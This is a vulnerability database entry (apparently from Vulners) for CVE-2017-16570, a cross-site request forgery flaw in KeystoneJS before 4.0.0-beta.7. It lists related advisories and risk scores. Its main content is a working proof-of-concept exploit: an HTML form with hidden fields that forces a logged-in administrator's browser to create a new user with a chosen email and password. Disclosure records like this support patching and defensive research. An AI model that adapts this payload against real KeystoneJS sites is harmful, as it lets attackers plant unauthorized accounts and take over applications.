KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery

🗓️ 28 Jan 2018 00:00:00Reported by Saurabh BanawarType

Application wide CSRF Bypass in KeystoneJS 4.0.

Reporter	Title	Published	Views	Family All 13
zdt	KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery Vulnerability	28 Jan 201800:00	–	zdt
ATTACKERKB	CVE-2017-16570	6 Nov 201708:29	–	attackerkb
CNVD	KeystoneJS Cross-Site Request Forgery Vulnerability	7 Nov 201700:00	–	cnvd
CVE	CVE-2017-16570	6 Nov 201708:00	–	cve
Cvelist	CVE-2017-16570	6 Nov 201708:00	–	cvelist
EUVD	EUVD-2017-0351	7 Oct 202500:30	–	euvd
Github Security Blog	Cross-Site Request Forgery (CSRF) in keystone	30 Nov 201723:14	–	github
nodejs	Cross-Site Request Forgery (CSRF)	17 Jun 201918:58	–	nodejs
NVD	CVE-2017-16570	6 Nov 201708:29	–	nvd
OSV	GHSA-Q43C-G2G7-6GXJ Cross-Site Request Forgery (CSRF) in keystone	30 Nov 201723:14	–	osv

# Exploit Title: Application wide CSRF Bypass
# Date: Sep, 2017
# Exploit Author: Saurabh Banawar
# Vendor Homepage: http://keystonejs.com/
# Software Link: https://github.com/keystonejs/keystone
# Version: 4.0.0
# Tested on: Windows 8.1
# CVE : 2017-16570


Link: https://vuldb.com/?id.109170


Exploit:

<html>
 <body>
 <form action="http://127.0.0.1:3000/keystone/api/users/create" method="POST"
enctype="multipart/form-data">
 <input type="hidden" name="name&#46;first" value="Saurabh" />
 <input type="hidden" name="name&#46;last" value="Banawar" />
 <input type="hidden" name="email"
value="saurabh&#46;banawar&#64;securelayer7&#46;net" />
 <input type="hidden" name="password" value="test" />
 <input type="hidden" name="password&#95;confirm" value="test" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>

28 Jan 2018 00:00Current

7.9High risk

Vulners AI Score7.9

CVSS 26.8

CVSS 38.8

EPSS0.02213